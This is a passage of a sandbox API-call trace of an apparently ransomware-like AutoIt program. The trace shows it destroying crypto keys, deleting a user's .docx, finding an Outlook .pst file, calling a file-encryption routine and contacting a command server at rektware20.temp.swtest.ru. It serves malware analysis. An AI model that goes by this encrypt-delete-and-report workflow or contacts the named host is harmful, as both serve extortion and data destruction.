wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.914] WriteFile (in: hFile=0x3bc, lpBuffer=0x4e30048*, nNumberOfBytesToWrite=0xb7a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e30048*, lpNumberOfBytesWritten=0x130f01c*=0xb7a0, lpOverlapped=0x0) returned 1 [0071.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.915] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.915] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.915] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.916] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.916] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.916] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0071.916] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.916] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.916] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.917] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.917] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.917] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.917] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.917] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.917] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.917] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.917] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.918] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.918] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.918] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.918] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.918] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.918] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.918] CryptReleaseContext (hProv=0x17aa6f8, dwFlags=0x0) returned 1 [0071.918] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.918] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.918] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.918] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.918] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.919] CloseHandle (hObject=0x2ac) returned 1 [0071.920] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.920] CloseHandle (hObject=0x3bc) returned 1 [0071.961] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.961] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.961] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", lpFilePart=0x0) returned 0x33 [0071.961] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\_p0ge 3-q-2li6.docx")) returned 0x20 [0071.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0071.962] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\_p0ge 3-q-2li6.docx")) returned 1 [0071.985] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.985] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0071.985] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.986] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.986] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.986] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.986] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.986] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.986] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.986] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.986] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0071.986] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.986] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.987] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.987] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.988] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.988] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.988] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.988] CloseHandle (hObject=0x0) returned 0 [0071.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Outlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="utlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tlook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="look Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ook Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ok Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Files\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iles\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="les\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lcfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cfkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fkj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kj@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="@kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kiekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ekc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kc.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c.df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="df.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f.pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pst", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.991] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.991] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.991] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.991] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.991] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.991] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.991] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.991] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.991] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0071.991] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, 